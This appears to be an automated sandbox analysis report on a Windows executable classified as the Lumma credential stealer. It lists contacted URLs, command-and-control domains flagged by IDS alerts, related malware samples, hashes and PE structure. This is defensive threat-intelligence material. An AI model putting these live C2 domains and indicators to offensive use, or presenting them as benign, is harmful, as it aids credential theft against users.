https://store.steampowered.com/legal/	aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	aqbjn3fl.exe	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	aqbjn3fl.exe	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	aqbjn3fl.exe, 00000003.00000003.1592122314.00000000036CC000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1593458632.00000000036CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/2	aqbjn3fl.exe, 00000003.00000003.1592122314.00000000036CC000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1593458632.00000000036CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	aqbjn3fl.exe	false		high
https://recaptcha.net	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastH	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000361C000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000361C000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstaK	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	aqbjn3fl.exe	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	aqbjn3fl.exe	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steampowered.com/	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/account/cookiepreferences/	aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/mobile	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=THDq-gsQ	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/pi	aqbjn3fl.exe, 00000003.00000003.1592122314.00000000036CC000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1593458632.00000000036CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/;	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l	aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/badges	aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577502
Start date and time:	2024-12-18 14:28:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aqbjn3fl.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@4/0@11/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 73% Number of executed functions: 21 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: aqbjn3fl.exe

Simulations

Behavior and APIs

Time	Type	Description
08:30:02	API Interceptor	9x Sleep call for process: aqbjn3fl.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.157.254	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse
	ardware-v1.exe	Get hash	malicious	LummaC	Browse
	https://t.co/nq9BYOxCg9	Get hash	malicious	HTMLPhisher	Browse
23.55.153.106	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse
	cccc2.exe	Get hash	malicious	LummaC	Browse
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse
	99awhy8l.exe	Get hash	malicious	LummaC	Browse
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse
	noll.exe	Get hash	malicious	Stealc, Vidar	Browse
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	172.67.157.254
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	cccc2.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	23.55.153.106
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	99awhy8l.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	noll.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	http://www.mynylgbs.com	Get hash	malicious	Unknown	Browse	23.195.38.175
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	96.17.102.118
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	cccc2.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	23.55.153.106
	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	99awhy8l.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
CLOUDFLARENETUS	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	162.159.140.147
	goldlummaa.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	172.64.41.3
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	172.67.220.223
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	ScreenUpdateSync.exe	Get hash	malicious	LummaC	Browse	104.21.24.223
	random.exe.10.exe	Get hash	malicious	LummaC	Browse	104.21.23.76

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	goldlummaa.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.157.254 23.55.153.106
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	ScreenUpdateSync.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	random.exe.10.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	zq6a1iqg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106
	winrar-x64-701.exe	Get hash	malicious	Unknown	Browse	172.67.157.254 23.55.153.106
	cccc2.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106
	CompleteStudio.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.693168108127972
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	aqbjn3fl.exe
File size:	586'368 bytes
MD5:	34a152eb5d1d3e63dafef23579042933
SHA1:	9e1c23718d5b30c13d0cec51ba3484ddc32a3184
SHA256:	42365467efe5746a0b0076a3e609219a9cffe827d5a95f4e10221f081a3bf8fa
SHA512:	270298ca39c3ff0ab4c576374a5c091135efad3c1cb9930888a74ef7d421f43039c2545eadecb037fcff2b8ee4e22cd4d809b19e7958b44ba1c72100135a46fe
SSDEEP:	12288:9o3gygylSwAN2kLkhn23c7Abpzq/Dw3imKQJ4nTL35iDBrDEnchQm/71lr7v:i3gygnN2kLktsc7keDHQJqTk9Fr7v
TLSH:	D0C4D1125541E8A3F88318FF3DB6A32734A773B2B6B1CAD3C17574685B400C195EAE6E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...<.=g.................V........................@.......................................@.................................T...(..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4292e0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x673DAB3C [Wed Nov 20 09:26:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3a33a82bcd5969a5b19ce5fba049e5b4

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	30/08/2023 20:00:00 30/08/2026 19:59:59
Subject Chain	CN=Privacy Technologies OU, O=Privacy Technologies OU, S=Harjumaa, C=EE
Version:	3
Thumbprint MD5:	AD1BCBF19AE2F91BB114D33B85359E56
Thumbprint SHA-1:	141D90A1BA8F61863FBEDDF7DD1D66C1D1E0B128
Thumbprint SHA-256:	A08EA2A7A257AD690B988446951E9DEF2986A2F3F546B6F0902805330F3B6B48
Serial:	00D0461B529F67189D43744E9CEFE172AE

Entrypoint Preview

Instruction
call 00007FD1E8927DFBh
jmp 00007FD1E8927A0Dh
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007FD1E8927BAFh
neg eax
pop ecx
sbb eax, eax
neg eax
dec eax
pop ebp
ret
push ebp
mov ebp, esp
cmp dword ptr [0043E488h], FFFFFFFFh
push dword ptr [ebp+08h]
jne 00007FD1E8927BA9h
call 00007FD1E8929A2Bh
jmp 00007FD1E8927BADh
push 0043E488h
call 00007FD1E89299AEh
pop ecx
neg eax
pop ecx
sbb eax, eax
not eax
and eax, dword ptr [ebp+08h]
pop ebp
ret
push 00000008h
push 0043C8E0h
call 00007FD1E892811Dh
and dword ptr [ebp-04h], 00000000h
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
jne 00007FD1E8927BFFh
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007FD1E8927BEEh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007FD1E8927BE0h
mov eax, dword ptr [ebp+08h]
mov ecx, 00400000h
sub eax, ecx
push eax
push ecx
call 00007FD1E8927D22h
pop ecx
pop ecx
test eax, eax
je 00007FD1E8927BC9h
cmp dword ptr [eax+24h], 00000000h
jl 00007FD1E8927BC3h
mov dword ptr [ebp-04h], FFFFFFFEh
mov al, 01h
jmp 00007FD1E8927BC1h
mov eax, dword ptr [ebp-14h]
mov eax, dword ptr [eax]
xor ecx, ecx
cmp dword ptr [eax], C0000005h
sete cl
mov eax, ecx
ret
mov esp, dword ptr [ebp-18h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c054	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8c400	0x2e80	.bOS
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x40000	0x2604	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x37160	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3c198	0x11c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3546c	0x35600	f5361c54b25e15a938b45ad5e6bff8aa	False	0.49542136270491804	data	6.95731113161578	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x37000	0x5e44	0x6000	fd3796618028fe8f9db0ee4940ae629c	False	0.4084879557291667	data	4.760062424903548	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x1ba4	0x1000	ff4f8fd6963b4f7d1c08f13031fa0788	False	0.470703125	OpenPGP Secret Key	4.849894766585126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x3f000	0x8	0x200	0412284a8fbf9e5e622314b9d7d68a8f	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x40000	0x2604	0x2800	ea75b8bb4d2e2cb7f98c9cf7a2c3e9f3	False	0.78046875	data	6.61872461528721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bOS	0x43000	0x4ce00	0x4ce00	76f523d6798942655c73d5441edae6bf	False	1.0003366361788617	data	7.999557020865279	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WideCharToMultiByte, WriteConsoleW, WriteFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T14:30:03.003968+0100	2057838	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (push-hook .cyou)	1	192.168.2.8	63792	1.1.1.1	53	UDP
2024-12-18T14:30:03.233194+0100	2057668	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)	1	192.168.2.8	54307	1.1.1.1	53	UDP
2024-12-18T14:30:03.233194+0100	2057697	ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)	1	192.168.2.8	54307	1.1.1.1	53	UDP
2024-12-18T14:30:03.465654+0100	2057658	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)	1	192.168.2.8	61692	1.1.1.1	53	UDP
2024-12-18T14:30:03.700559+0100	2057654	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)	1	192.168.2.8	58689	1.1.1.1	53	UDP
2024-12-18T14:30:03.938536+0100	2057662	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs)	1	192.168.2.8	52911	1.1.1.1	53	UDP
2024-12-18T14:30:04.168631+0100	2057666	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs)	1	192.168.2.8	59232	1.1.1.1	53	UDP
2024-12-18T14:30:04.168631+0100	2057696	ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs)	1	192.168.2.8	59232	1.1.1.1	53	UDP
2024-12-18T14:30:04.490999+0100	2057660	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs)	1	192.168.2.8	51182	1.1.1.1	53	UDP
2024-12-18T14:30:04.831379+0100	2057652	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs)	1	192.168.2.8	52424	1.1.1.1	53	UDP
2024-12-18T14:30:04.831379+0100	2057695	ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs)	1	192.168.2.8	52424	1.1.1.1	53	UDP
2024-12-18T14:30:05.063325+0100	2057664	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs)	1	192.168.2.8	57787	1.1.1.1	53	UDP
2024-12-18T14:30:05.063325+0100	2057698	ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs)	1	192.168.2.8	57787	1.1.1.1	53	UDP
2024-12-18T14:30:06.857533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	23.55.153.106	443	TCP
2024-12-18T14:30:07.638934+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49710	23.55.153.106	443	TCP
2024-12-18T14:30:09.406227+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49711	172.67.157.254	443	TCP
2024-12-18T14:30:10.009979+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49711	172.67.157.254	443	TCP
2024-12-18T14:30:10.009979+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49711	172.67.157.254	443	TCP
2024-12-18T14:30:10.981632+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49712	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:30:05.444468021 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:05.444519997 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:05.444603920 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:05.447577000 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:05.447594881 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:06.857470036 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:06.857532978 CET	49710	443	192.168.2.8	23.55.153.106
